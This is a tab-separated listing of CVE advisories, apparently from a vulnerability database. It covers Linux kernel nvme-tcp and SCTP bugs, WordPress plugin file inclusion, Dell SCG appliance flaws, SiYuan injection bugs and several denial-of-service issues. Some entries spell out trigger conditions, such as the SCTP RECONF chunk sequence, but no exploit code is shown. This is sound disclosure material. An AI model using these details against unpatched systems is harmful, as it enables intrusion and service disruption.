CVE-2026-89481	In the Linux kernel, the following vulnerability has been resolved: nvme-tcp: fix host memory disclosure on R2T for a read command nvme_tcp_handle_r2t() does not check the direction of the request the R2T refers to. A malicious controller can send an R2T for a READ and the host will answer it: nvme_tcp_setup_h2c_data_pdu() builds the H2CData header and nvme_tcp_try_send_data() sends the request's data buffer. That buffer is the READ destination, so its contents go to the controller. The command then completes normally and nothing is logged. Against a test controller that answers every READ with an R2T, a 4096 byte buffered read returned all 4096 bytes, split over two R2Ts. The pages contained stale kernel data, including an array of struct page pointers. Reject an R2T for a request that is not a write.	7.5	More Details
CVE-2026-89146	libp2p-rendezvous through 0.17.1 fails to validate registration TTL values in discovery responses, allowing attackers to trigger timer arithmetic overflow. A malicious rendezvous server can send a discovery response with an unbounded TTL value that causes the client node process to panic when computing the expiry timer.	7.5	More Details
CVE-2026-89476	In the Linux kernel, the following vulnerability has been resolved: sctp: fix stream->outcnt underflow on duplicate RECONF responses A cached RECONF chunk may contain more than one request parameter. A duplicate response can therefore find and process the same ADD_OUT request again while another parameter is still outstanding, rolling back outcnt twice and possibly underflowing it. Track outstanding request types as bits and clear each bit after its first response. Later responses for the same request are then ignored.	7.5	More Details
CVE-2026-89147	Net-SNMP through 5.9.5.2 contains a denial of service vulnerability in the SMUX module where smux_accept() performs an unauthenticated blocking read without timeout on newly accepted connections. An unauthenticated remote client can connect to the SMUX listener and send no data, causing the single-threaded snmpd main loop to block indefinitely and suspend all SNMP processing.	7.5	More Details
CVE-2026-89477	In the Linux kernel, the following vulnerability has been resolved: sctp: fix NULL deref on untransmitted RECONF completion sctp_process_strreset_outreq(), sctp_process_strreset_addstrm_out() and sctp_process_strreset_resp() complete a pending stream reconfiguration request by stopping the reconf timer on the transport it was sent on: t = asoc->strreset_chunk->transport; if (timer_delete(&t->reconf_timer)) sctp_transport_put(t); chunk->transport is assigned by __sctp_packet_append_chunk() when the chunk is appended to an outbound packet, and sctp_outq_flush_ctrl() arms the reconf timer at that same point. A request already published in asoc->strreset_chunk but not yet transmitted has neither, so completing it dereferences NULL. Two ways to get there. sctp_send_asconf_del_ip() sets asoc->src_out_of_asoc_ok without sending anything when the address being removed is the association's last one, and sctp_outq_flush_ctrl() then leaves every non-ASCONF control chunk queued; as only sctp_process_asconf_ack() clears that flag, it persists. An unprivileged process that removes such an address and then asks for a stream reset panics the kernel from softirq. A peer needs neither ASCONF nor local help: sctp_cmd_interpreter() uncorks the outqueue only once the whole packet has been processed, so a reply built while walking a RECONF chunk stays untransmitted for the rest of that walk, and one RECONF chunk carrying [Incoming SSN Reset Request, Outgoing SSN Reset Request, Response] -- or two RECONF chunks in one packet -- reaches the same dereference. KASAN: null-ptr-deref in range [0x00000000000001e8-0x00000000000001ef] RIP: 0010:timer_delete+0x67/0x110 Call Trace: <IRQ> sctp_process_strreset_addstrm_out (net/sctp/stream.c:832) sctp_sf_do_reconf (net/sctp/sm_statefuns.c:4212) sctp_do_sm (net/sctp/sm_sideeffect.c:1172) sctp_assoc_bh_rcv (net/sctp/associola.c:1044) sctp_rcv (net/sctp/input.c:243) ip_local_deliver (net/ipv4/ip_input.c:262) process_backlog (net/core/dev.c:6680) </IRQ> A response can only acknowledge a request that was actually sent, so do not match asoc->strreset_chunk while chunk->transport is NULL. Guarding the lookup covers all three completion sites.	7.5	More Details
	In the Linux kernel, the following vulnerability has been resolved: nvme-tcp: reject a read that transferred too few bytes nvme_tcp_recv_data() completes a request once the current C2HData PDU has been consumed. Nothing compares the total bytes received against the length the command asked for: struct nvme_tcp_request has no receive-side counter, queue->data_remaining is per queue, and blk_mq_end_request() completes for blk_rq_bytes(rq) unconditionally with no residual concept anywhere		

CVE-2026-89480	above. A controller can therefore answer a 4096-byte read with 512 bytes and have it reported as a complete read; user space then gets 4096 bytes of which 3584 are whatever was already in the page. I reproduced that with a test target. Count the bytes received and refuse to complete a successful read whose count does not match, at the two NVME_TCP_F_DATA_SUCCESS paths and in nvme_tcp_process_nvme_cqe(). The success test shifts req->status right by one, because the driver keeps the wire value there and shifts it on completion, so the check must see what the completion path will see. Only REQ_OP_READ is checked, because there the length comes from the sectors the request covers; a passthrough command is built by its submitter, which picks both command and buffer, so the kernel has nothing to compare against.	7.5	More Details
CVE-2026-87776	compression is a Node.js and Express compression middleware. In versions before 1.8.2, when a client aborts the connection while a compressed response is still being sent, the zlib stream created to compress that response is never destroyed, so each aborted compressed response leaks its native zlib memory. A remote unauthenticated attacker can repeatedly open requests and disconnect early, exhausting the available memory and crashing the server. All applications using compression are affected. The issue is fixed in compression 1.8.2, and users should upgrade to 1.8.2 or later.	7.5	More Details
CVE-2026-85200	The GEO my WP plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.5.5.3 via the gmw_posts_locator_ajax_info_window_loader function. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. In environments where PEAR is installed with register_argc_argv enabled, this file inclusion can be leveraged to write and execute arbitrary PHP code, achieving full remote code execution.	7.5	More Details
CVE-2026-45768	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Starting in version 8.0.0 and prior to version 8.0.5, LDAP transaction state could store an unbounded number of responses. Because LDAP can be processed over UDP, crafted traffic may cause Suricata to consume excessive memory, potentially resulting in denial of service. Version 8.0.5 contains a fix. As a workaround, disable LDAP application-layer parsing where it is not required. Alternatively, use a rule like `alert ldap any any -> any any (sid: 1; ldap.responses.count: >1024; bypass;)`.	7.5	More Details
CVE-2026-87822	t-digest versions 3.1 through 3.3 fail to validate centroid means during deserialization in MergingDigest.fromBytes, allowing attackers to inject NaN values that bypass validation checks. Attackers can craft malicious serialized digests containing NaN centroids that degrade sorting performance from O(n log n) to O(n squared), causing severe processing delays during merge operations.	7.5	More Details
CVE-2023-54393	PocketMine-MP versions before 4.20.5 contain a denial of service vulnerability in LoginPacket JSON parsing due to improper validation in the JsonMapper dependency. Attackers can send malformed JSON structures in LoginPacket to crash the server.	7.5	More Details
CVE-2026-79950	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.	7.5	More Details
CVE-2026-79740	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.	7.5	More Details
CVE-2026-15891	The MQTT-SN client keepalive handler process_ping() in subsys/net/lib/mqtt_sn/mqtt_sn.c removes the gateway record after PINGREQ retries are exhausted. It invoked SYS_SLIST_PEEK_HEAD_CONTAINER(&client->gateways, gw, next) but discarded the result. That macro is a pure expression that does not assign to gw, so gw retained its NULL initializer regardless of the list contents. The code then dereferences the NULL gw (gw->gw_id) and passes it to mqtt_sn_gw_destroy(), reaching k_mem_slab_free(&gateways, NULL). With CONFIG_MEM_SLAB_POINTER_VALIDATE enabled this triggers k_panic(); in the default configuration it performs a write through the NULL pointer ((char)mem = slab->free_list;) and corrupts the slab free list. The outcome is a crash/kernel panic or, on targets where address 0 is writable, silent memory-allocator corruption. The vulnerable branch runs whenever the connected MQTT-SN gateway fails to answer keepalive PINGREQs for the configured number of retries. This condition is controlled by the remote peer: a malicious or compromised gateway, or an on-path/adjacent attacker that advertises itself as a gateway and then stops responding (or blackholes the real gateway's PINGRESPs), forces the client into the defect. MQTT-SN runs over UDP and no authentication is required. The impact is a remotely triggerable denial of service (availability) of the affected MQTT-SN client; there is no attacker-controlled data written. The sibling remover process_advertise() uses SYS_SLIST_FOR_EACH_CONTAINER_SAFE and is not affected. The fix assigns the macro's return value to gw.	7.5	More Details
CVE-2026-79738	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Use of Hard-coded Credentials vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure.	7.5	More Details
CVE-2024-	league/commonmark versions before 2.6.0 contain polynomial time complexity vulnerabilities in Markdown parsing that allow attackers to cause denial of service. Attackers can submit carefully crafted Markdown	7.5	More

58382	inputs designed to trigger worst-case performance, and sending multiple requests in parallel exhausts CPU resources and PHP-FPM processes.		Details
CVE-2024-58381	PocketMine-MP before 5.11.1 contains a denial of service vulnerability in LoginPacket JSON processing that allows remote attackers to crash the server by sending malformed JSON data. Attackers can exploit improper object initialization from scalar JSON types to trigger unset required properties, causing the application to crash.	7.5	More Details
CVE-2026-87734	An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment reassembly allows remote denial of service.	7.5	More Details
CVE-2026-79641	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to elevation of privileges.	7.5	More Details
CVE-2026-86201	PocketMine-MP before 5.41.1 contains a denial of service vulnerability in LoginPacket processing where large or complex structures in unknown clientData JWT properties cause excessive logging without sanitization. Attackers can send crafted LoginPackets with deeply nested or massive object structures to trigger out-of-memory conditions and crash the server.	7.5	More Details
CVE-2023-54390	PocketMine-MP versions before 5.3.1 and 4.23.1 contain a denial of service vulnerability in LoginPacket JSON parsing due to improper null value handling in arrays. Attackers can send malformed JSON with unexpected null elements in LoginPacket to crash the server.	7.5	More Details
CVE-2023-54355	PocketMine-MP versions before 5.3.1 and 4.23.1 fail to validate that the identityPublicKey in LoginPacket uses the required secp384r1 elliptic curve. Attackers can provide LoginPackets with keys using different curves or non-EC key types to pass login verification but trigger an uncaught exception during ECDH key derivation, crashing the server.	7.5	More Details
CVE-2026-74761	Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All on all platforms. An authenticated client can spoof clientId when removing a durable topic subscription. This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2; Apache ActiveMQ All: before 5.19.11, from 6.0.0 before 6.3.2; Apache ActiveMQ: before 5.19.11, from 6.0.0 before 6.3.2. Users are recommended to upgrade to version 6.3.2 or 5.19.11 which fixes the issue.	7.5	More Details
CVE-2026-87824	zstd-jni before 1.5.7-14 fails to validate the samples buffer capacity in Zstd.trainFromBufferDirect, allowing attackers to read past buffer boundaries by supplying oversized per-sample lengths. Attackers can trigger out-of-bounds memory access by providing crafted sample length arrays that cause the native implementation to walk past the buffer allocation, resulting in JVM termination.	7.5	More Details
CVE-2026-78490	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Restriction of Excessive Authentication Attempts vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to client-side request forgery.	7.5	More Details
CVE-2026-87819	GitPython before 3.1.60 contains a regular expression denial of service vulnerability in Actor.name_email_regex that processes commit author and committer fields. Attackers can craft a commit object with a malformed author field containing an unterminated angle bracket to cause quadratic backtracking, exhausting CPU resources for over two minutes per commit access.	7.5	More Details
CVE-2026-87816	PasswordPusher before 2.11.1 contains a time-of-check-to-time-of-use race condition in view limit enforcement that allows unauthenticated attackers to bypass expire_after_views limits. Attackers can send concurrent requests to the show endpoint to access one-time secrets multiple times before the view count is incremented and the push expires.	7.5	More Details
CVE-2026-16960	The Loops & Logic WordPress plugin before 4.3.0 does not restrict its public template-data action to the data a visitor is permitted to see, allowing unauthenticated users to read arbitrary user records (including email addresses and roles) and arbitrary site options.	7.5	More Details
CVE-2026-86199	PocketMine-MP versions before 5.43.1 fail to properly validate the Certificate field during offline login authentication. Unauthenticated players can trigger an uninitialized property access error that crashes the server.	7.5	More Details
CVE-2026-15667	The Eventin – Event Calendar, Event Registration, Tickets & Booking (AI Powered) plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.1.22 via the 'event_layout' parameter parameter. This makes it possible for authenticated attackers, with contributor-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. The etn_manage_event capability is assigned to Contributors by default, meaning any Contributor-level user can set the malicious event_layout value via the REST API without any additional configuration.	7.5	More Details

CVE-2026-87601	Race condition in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)	7.5	More Details
CVE-2026-89080	The Really Simple Security WordPress plugin before 9.8.1 does not prevent an unauthenticated request from resetting an account's completed email two-factor enrolment, allowing an attacker who already knows the account's password to bypass the second factor and obtain that user's session, up to administrator.	7.5	More Details
CVE-2026-90776	Nodemailer versions 9.1.0 through 10.0.4 contain a quadratic time complexity vulnerability in the addressparser component when parsing email addresses with RFC 5322 comments. Attackers can craft malicious email headers with comment-separated atoms to consume excessive CPU and block the Node.js event loop for several seconds, causing denial of service.	7.5	More Details
CVE-2026-22591	eprosima Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group). Prior to versions 2.6.12, 2.14.6, 3.2.4, and 3.4.3, Fast DDS's implementation of SQL-based content filtering (DDSSQLFilter) allows any participant in a DDS domain to remotely crash other Fast DDS participants by sending a single crafted SEDP `DATA` submessage whose `PID_CONTENT_FILTER_PROPERTY.filterExpression` contains a deeply nested filter expression. Versions 2.6.12, 2.14.6, 3.2.4, and 3.4.3 fix the issue.	7.5	More Details
CVE-2026-80924	In the Linux kernel, the following vulnerability has been resolved: crypto: krb5 - use kfree_sensitive() for derived key buffers crypto_krb5_prepare_encryption() and crypto_krb5_prepare_checksum() free the buffer holding the freshly derived keys with plain kfree(), leaving the key material behind in the freed slab object.	7.5	More Details
CVE-2026-87431	Missing authorization in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted Chrome extension. (Chromium security severity: Medium)	7.5	More Details
CVE-2026-90779	SIPp through 3.7.7 contains a stack buffer overflow vulnerability in createAuthHeader() when processing SIP authentication challenges with oversized algorithm parameters. A malicious SIP server can send a crafted 401 or 407 challenge to corrupt the stack and crash the client process.	7.5	More Details
CVE-2026-90778	SIPp through 3.7.7 contains a buffer overflow vulnerability in get_peer_tag() function when processing SIP To headers with tag parameters of 2049 bytes or more. Unauthenticated remote attackers can send crafted SIP messages with oversized tag parameters to overflow the static buffer and crash the process.	7.5	More Details
CVE-2026-87608	Improper certificate validation in FedCM in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via crafted network traffic. (Chromium security severity: Low)	7.5	More Details
CVE-2026-90780	SIPp through 3.7.7 contains a buffer overflow vulnerability in the get_header() function in src/sip_parser.cpp when processing SIP messages with header content exceeding 20,490 bytes. Unauthenticated remote attackers can send crafted SIP messages with oversized headers to overflow the static buffer and crash the process.	7.5	More Details
CVE-2026-88802	The MDJM Event Management WordPress plugin before 1.7.8.5 and the Mobile Events Manager WordPress plugin through 1.4.8.3 do not check a capability, a nonce or the type of the record before permanently deleting the post identified in a request to their playlist entry removal, allowing unauthenticated attackers to destroy arbitrary posts, pages and media attachments, bypassing the trash.	7.5	More Details
CVE-2026-15406	The Eventin – Event Calendar, Event Registration, Tickets & Booking (AI Powered) plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.1.22 via the 'event_layout' parameter parameter. This makes it possible for authenticated attackers, with custom-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.	7.5	More Details
CVE-2026-87450	Incorrect authorization in Permissions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted Chrome extension. (Chromium security severity: Medium)	7.5	More Details
CVE-2026-90774	rustypaste before 0.18.1 validates the destination path before applying the optional custom filename HTTP header, allowing attackers to bypass directory-escape checks. Attackers can supply path traversal sequences in the filename header to write files outside the configured upload directory to arbitrary locations.	7.5	More Details
CVE-2026-87807	siyuan versions before v3.8.2 contain an authenticated SQL injection vulnerability in the fullTextSearchBlock endpoint's method=1 query parameter. Attackers can inject UNION SELECT statements to read the entire blocks table, bypassing publish-access controls and exposing all document content and sensitive attributes.	7.5	More Details
CVE-2026-90647	ASE/Kalkitech ASE2000 V2 Communication Test Set 2.35 through 2.37 on Windows contains an improper certificate validation vulnerability in the IEC 60870-5-104 TLS client (Task Mode). This allows a network-positioned attacker to bypass certificate validation via a certificate with multiple simultaneous faults, enabling a Man-in-the-Middle attack on protected communications.	7.4	More Details

CVE-2026-87806	Parse Server versions <= 8.6.87 and >= 9.0.0 < 9.10.1-alpha.7 contain an authentication bypass in the built-in LDAP authentication adapter. The adapter forwarded the client-supplied password to the directory without verifying that a password had been supplied, and treated any non-error response from the directory as proof of authentication. A zero-length credential turns an LDAP simple bind into the unauthenticated authentication mechanism described in RFC 4513 section 5.1.2, which some directories (including Active Directory in its default configuration) answer with success while mapping the connection to anonymous. As a result, an unauthenticated attacker who knows a directory username can obtain a valid session token for that account, resulting in account takeover. Only deployments that enable the LDAP authentication adapter are affected, and deployments whose directory refuses unauthenticated simple bind (such as a stock OpenLDAP configuration) are not exploitable. The issue is fixed in 8.6.88 and 9.10.1-alpha.7, which require the password to be a non-empty string and reject the request before contacting the directory.	7.4	More Details
CVE-2026-90616	In Flatpak before 1.18.1, a malicious sandboxed app can obtain arbitrary read and write access to files on the host, which can be escalated to arbitrary code execution on the host, a different vulnerability than CVE-2026-76925. Flatpak creates a few app data directories (e.g., /var/cache, /var/data, /var/config, and /var/tmp) in every sandbox on every app launch where, in some cases, components of the path are attacker-controlled. Missing symlink protection can redirect the directories. Some of these directories are bind-mounted by Flatpak by passing the path (e.g., /home/user/.var/app/APP_ID/cache/tmp), which contains attacker-controlled directories (tmp) to bwrap --bind SRC DST. bwrap passes the path on to the kernel, which then follows symlinks. A malicious symlink can point to arbitrary locations on the host and it will become mounted inside the sandbox.	7.4	More Details
CVE-2026-89769	In the Linux kernel, the following vulnerability has been resolved: clocksource/drivers/nxp-pit: Fix IRQ leak on cpuhp_setup_state error path When cpuhp_setup_state fails after pit_clockevent_per_cpu_init has successfully called request_irq, the error handling jumps directly to out_pit_clocksource_unregister without freeing the registered IRQ. This leaks the IRQ line and, since kfree(pit) follows, leaves a dangling pointer registered as the interrupt handler's dev_id, potentially leading to a use-after-free if the IRQ fires afterwards. Fix it by calling pit_clockevent_per_cpu_exit to properly release the IRQ before falling through to the existing cleanup chain.	7.4	More Details
CVE-2026-89043	passport-saml-encrypted through 0.1.13 contains an XML signature wrapping vulnerability where signature verification and assertion extraction use independent XPath lookups with no cross-validation. Attackers holding any validly signed SAML message can prepend a forged unsigned assertion that gets accepted as the verified identity while the genuine signature validates against the original assertion.	7.4	More Details
CVE-2026-36453	Rhymix before 2.1.31 allows insecure direct object reference, aka RVE-2026-1. Arbitrary files can be accessed via extra variables.	7.4	More Details
CVE-2026-88004	Traefik is an open source HTTP reverse proxy and load balancer. From 3.2.0 until 3.7.13, Traefik entrypoint defenses aliasHeadersStrategy, underscoreHeadersStrategy, and forwardedHeaders inspect req.Header but not req.Trailer, allowing an unauthenticated client to submit an aliasing or trusted header name in an HTTP/1.1 chunked trailer or an HTTP/2 trailer. When the retry or buffering middleware reads the body before the reverse proxy clones the request, the attacker-controlled trailer value reaches a backend that merges trailers into the header namespace, bypassing the documented delete or reject behavior and potentially spoofing identity or forwarded routing data. This issue is fixed in 3.7.13.	7.4	More Details
CVE-2026-78494	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	7.4	More Details
CVE-2026-54241	libde265 is an open source implementation of the h.265 video codec. Versions prior to 1.1.1 use signed 32-bit arithmetic to calculate the sample adaptive offset input-buffer size, allowing a crafted HEVC stream with large dimensions and 16-bit luma samples to cause an integer overflow, an undersized allocation, and an out-of-bounds heap read that may expose heap data in decoded output or crash the decoder. Version 1.1.1 contains a patch.	7.4	More Details
CVE-2026-89161	In PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.	7.4	More Details
CVE-2026-80434	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to manipulate runtime caches and cause a denial of service due to an insecure direct object reference.	7.4	More Details
CVE-2026-54240	libde265 is an open source implementation of the h.265 video codec. Versions prior to 1.1.1 use signed 32-bit arithmetic to calculate pixel offsets, allowing a crafted HEVC stream with large image dimensions to trigger an integer overflow and cause out-of-bounds heap reads or writes, potentially disclosing data, corrupting memory, or crashing the decoder. Version 1.1.1 contains a patch.	7.4	More Details
CVE-	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00,		More

2026-78492	contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	7.4	Details
CVE-2026-79963	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Download of Code Without Integrity Check vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to command execution.	7.4	More Details
CVE-2026-87933	A vulnerability was found in DaveGamble cJSON up to 1.7.19. The affected element is the function cJSONUtils_MergePatch of the file cJSON_Utils.c. The manipulation results in use after free. The attack may be launched remotely. The exploit has been made public and could be used. The pull request to fix this issue awaits acceptance.	7.3	More Details
CVE-2026-88017	rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass map[string]string instead of binding the credential or VFS to the authenticated session. If two accepted credentials use the same username but resolve to different proxy backends, a later CheckPasswd login overwrites userPass[user], and subsequent getVFS operations on the first session are reauthorized with the later password. The first session can then read, create, overwrite, rename, or delete objects using the second credential’s backend authority. Exploitation requires the later same-username login to occur while the first session remains open. This issue is fixed in version 1.75.1.	7.3	More Details
CVE-2026-90495	A vulnerability has been found in Fengoffice Feng Office up to 3.11.13.11. This impacts the function Contacts::instance->findAll of the file application/models/CompanyWebsite.class.php of the component Legacy API. Such manipulation of the argument auth leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	7.3	More Details
CVE-2026-49314	OOB write vulnerability in the rendering and composition module. Impact: Successful exploitation of this vulnerability may affect availability.	7.3	More Details
CVE-2026-89521	In the Linux kernel, the following vulnerability has been resolved: sched/core: Handle pick_task() releasing the rq lock Core scheduling's pick_next_task() breaks when a ->pick_task() implementation can release the rq lock. The selection state derived on entry is only valid while the lock is held continuously. Once a pick can drop the lock, an interleaving selection can invalidate all of it: the single-CPU fast path can commit an uncookied pick although the core went cookied during the release, and forceidle committed by the interleaving selection skews the restarted pass's accounting. Fix it by restarting the whole selection when a pick returns RETRY_TASK after releasing the lock: a single restart point above the state derivation replaces the per-loop restart labels, so a retry picks up state committed by interleaving selections and accounts and resets forceidle like a fresh selection would. need_sync and fi_before latch across retries. Clock validity can't be re-derived - there is no program-ordered way to tell whether the own and core rq clocks are still updated after the lock was released, as other lockers' pin cycles may or may not have invalidated them. When restarting, clear core_clock_updated so that the sibling loop re-updates the core rq, and update the own rq clock if invalidated.	7.3	More Details
CVE-2026-90504	A vulnerability has been found in vvbbnn00 WARP-Clash-API up to c7bf2360073959861219b422e51ae86411051b46. The impacted element is the function authorized. The manipulation of the argument SECRET_KEY leads to missing authentication. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.	7.3	More Details
CVE-2026-81796	Unauthenticated Broken Authentication in WP Travel <= 12.0.3 versions.	7.3	More Details
CVE-2026-87925	A vulnerability was detected in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. This vulnerability affects the function storeCustomerOrderInvoice of the file includes/manage.php. Performing a manipulation of the argument pro_name[] results in sql injection. The attack can be initiated remotely. The exploit is now public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
CVE-2026-80123	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Server-Side Request Forgery (SSRF) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.	7.3	More Details
CVE-	A vulnerability was determined in jaychouchannel Tourism-Management-System up to d984d172dceca907f8b447efbdb06dc233f7938d. Impacted is the function resetPass of the file UsersController.java of the component Password Recovery. This manipulation causes weak password		More

2026-90522	recovery. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. Patch name: 9cb6215ac871f99a90cde763cf003e95ff282283. It is recommended to apply a patch to fix this issue.	7.3	Details
CVE-2026-90515	A vulnerability was determined in SourceCodester School Registration and Fee System 1.0. The impacted element is an unknown function of the file /bilal/normal/delete_stud.php. Executing a manipulation of the argument selector[] can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.	7.3	More Details
CVE-2026-86754	Snipe-IT before 8.7.0 fails to properly gate Laravel Passport's OAuth client management routes, allowing any authenticated user to register OAuth clients with attacker-controlled redirect URIs. Attackers can trick administrators into approving consent screens, then exchange authorization codes for bearer tokens inheriting full admin API permissions lasting up to 40 years.	7.3	More Details
CVE-2026-90593	A vulnerability was determined in embedded-graphics up to 0.8.2. This affects the function ImageRaw::draw_sub_image of the file src/image/image_raw.rs. Executing a manipulation of the argument width can lead to integer overflow. The attack may be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
CVE-2026-90498	A vulnerability was identified in lenve vhr 1.0-SNAPSHOT. Affected by this issue is some unknown functionality of the file vhr.sql. The manipulation leads to use of default credentials. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.	7.3	More Details
CVE-2026-90516	A vulnerability was found in SourceCodester School Registration and Fee System 1.0. The affected element is an unknown function of the file /bilal/normal/pay_report.php. Performing a manipulation of the argument period results in sql injection. The attack can be initiated remotely. The exploit has been made public and could be used.	7.3	More Details
CVE-2026-80122	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	7.3	More Details
CVE-2026-90603	A vulnerability was identified in Anil-matcha Open-Generative-AI up to 1.0.11/2.0.0. Affected by this issue is some unknown functionality of the file /api/upload-binary of the component S3 Upload. Such manipulation of the argument x-proxy-target-url leads to unrestricted upload. The attack may be launched remotely. The name of the patch is f013270957f75e439eaf97eb2a93decb32a4543e. Applying a patch is advised to resolve this issue.	7.3	More Details
CVE-2026-90514	A vulnerability has been found in SourceCodester School Registration and Fee System 1.0. Impacted is an unknown function of the file /bilal/normal/save_stud.php. Such manipulation of the argument Status leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.	7.3	More Details
CVE-2026-90523	A vulnerability was identified in jaychouchannel Tourism-Management-System up to 229956e20dbd4a80eeff14535e44d3099502af09. The affected element is an unknown function of the file travel/src/main/java/com/controller/UsersController.java of the component User Register Endpoint. Such manipulation of the argument UsersEntity leads to improper privilege management. The attack can be launched remotely. The exploit is publicly available and might be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The name of the patch is 84d8ec384f669df3985293dab293bb7b477efa64. Applying a patch is advised to resolve this issue.	7.3	More Details
CVE-2026-87813	SiYuan before v3.8.2 contains a stored cross-site scripting vulnerability in the Search Assets result list where asset filenames are interpolated into HTML without escaping. Authenticated attackers can craft asset filenames containing malicious markup that executes JavaScript in the victim's browser when searching assets, enabling same-origin API requests and application state manipulation.	7.3	More Details
CVE-2026-79695	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Handling of Highly Compressed Data (Data Amplification) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.	7.3	More Details
CVE-2026-79692	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an External Control of File Name or Path vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to filesystem access for attacker.	7.3	More Details
CVE-2026-89087	The cstruct package before 6.3.0 for OCaml mishandles indexes.	7.3	More Details
CVE-	SiYuan before v3.8.2 inserts persisted notebook template paths into HTML input value attributes without		

2026-87811	proper attribute encoding. Attackers can craft malicious template paths that break out of the attribute context and execute JavaScript when a victim opens notebook configuration, enabling same-origin API requests and application state manipulation.	7.3	More Details
CVE-2026-87921	A vulnerability was identified in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected is the function update_record of the file includes/manage.php. The manipulation of the argument update_category/cid/update_brand/update_product leads to sql injection. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
